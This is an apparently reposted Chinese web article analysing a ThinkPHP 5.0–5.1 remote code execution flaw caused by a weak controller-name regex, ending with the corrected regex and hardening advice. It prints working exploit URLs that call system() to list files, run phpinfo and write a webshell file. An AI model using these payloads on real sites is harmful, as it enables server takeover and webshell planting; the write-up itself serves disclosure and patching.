
專注用戶體驗(yàn)設(shè)計(jì)與開發(fā)
-
商務(wù)合作
- 郵箱:123456789@qq.com
- 手機(jī):15323711532
- 座機(jī):0755-84185494
- 地址:廣東省深圳市龍崗區(qū)布吉中興路21號基業(yè)大廈
Copyright ? 2015 深圳市鑫惠廣網(wǎng)絡(luò)科技有限公司 粵ICP備2023111395號
THINKPHP漏洞修復(fù),官方于近日,對現(xiàn)有的thinkphp5.0到5.1所有版本進(jìn)行了升級,以及補(bǔ)丁更新,這次更新主要是進(jìn)行了一些漏洞修復(fù),最嚴(yán)重的就是之前存在的SQL注入漏洞,以及遠(yuǎn)程代碼執(zhí)行查詢系統(tǒng)的漏洞都進(jìn)行了修復(fù),官方本以為沒有問題了,但是在實(shí)際的安全檢測當(dāng)中發(fā)現(xiàn),還是存在問題,還是可以遠(yuǎn)程代碼進(jìn)行注入,插入非法字符,提交到服務(wù)器后端中去。
關(guān)于這次發(fā)現(xiàn)的oday漏洞,我們來看下官方之前更新的代碼文件是怎么樣的,更新的程序文件路徑是library文件夾下的think目錄里的app.php,如下圖:
漏洞產(chǎn)生的原因就在于這個(gè)控制器這里,整個(gè)thinkphp框架里的功能對控制器沒有進(jìn)行嚴(yán)格的安全過濾于檢查,使攻擊者可以偽造惡意參數(shù)進(jìn)行強(qiáng)制插入,最根本的原因就是正則的表達(dá)式寫的不好,導(dǎo)致可以繞過。
在controller獲取控制器后,直接進(jìn)行賦值,但是并沒有對控制器的名進(jìn)行嚴(yán)格的檢測,導(dǎo)致可以使用斜杠等特殊符號來遠(yuǎn)程代碼注入。
我們來搭建一下網(wǎng)站的環(huán)境,apache+mysql+Linux centos系統(tǒng),搭建好的測試環(huán)境地址是http://127.0.01/anquan ,我們可以直接在index.php后面?zhèn)卧旃魠?shù),示例如下:
http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l
直接get方式提交到網(wǎng)站中去,可以直接查詢到網(wǎng)站當(dāng)前根目錄的所有文件,截圖如下:
通過該漏洞也可以直接遠(yuǎn)程代碼注入執(zhí)行phpinfo語句,查詢當(dāng)前的php版本,路徑,擴(kuò)展,以及php.ini存放的地址,都可以看得到,構(gòu)造如下代碼即可。
http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'
有些人可能會(huì)問了,既然都可以phpinfo,查詢目錄文件,可不可以getshell寫網(wǎng)站木馬文件到網(wǎng)站里呢? 答案是可以的,我們測試的時(shí)候是以一句話木馬代碼的寫入到safe.php文件里。
http://127.0.0.1/anquan/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27%27%20>%20safe.php
關(guān)于這次thinkphp的漏洞利用以及分析到此就結(jié)束了,該漏洞屬于高危漏洞,危害嚴(yán)重性較大,很多升級更新補(bǔ)丁的網(wǎng)站都會(huì)受到攻擊,甚至有些網(wǎng)站會(huì)被掛馬,那么該如何修復(fù)thinkphp的漏洞呢?替換之前的正規(guī)則表達(dá)式即可,還需要對網(wǎng)站的目錄進(jìn)行權(quán)限部署,防止生成php文件,對網(wǎng)站上的漏洞進(jìn)行修復(fù),或者是對網(wǎng)站安全防護(hù)參數(shù)進(jìn)行重新設(shè)置,使他符合當(dāng)時(shí)的網(wǎng)站環(huán)境。如果不懂如何修復(fù)網(wǎng)站漏洞,也可以找專業(yè)的網(wǎng)站安全公司來處理,國內(nèi)如Sinesafe和綠盟、啟明星辰等安全公司比較專業(yè).
針對于這個(gè)情況,我們要對其library/think/App.php代碼里的正規(guī)則表達(dá)式進(jìn)行更改,if (!preg_match('/^[A-Za-z][\w\.]*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); }
如未特殊注明,文章均來源于網(wǎng)絡(luò)! 轉(zhuǎn)載請注明來自:http://www.
專注用戶體驗(yàn)設(shè)計(jì)與開發(fā)
Copyright ? 2015 深圳市鑫惠廣網(wǎng)絡(luò)科技有限公司 粵ICP備2023111395號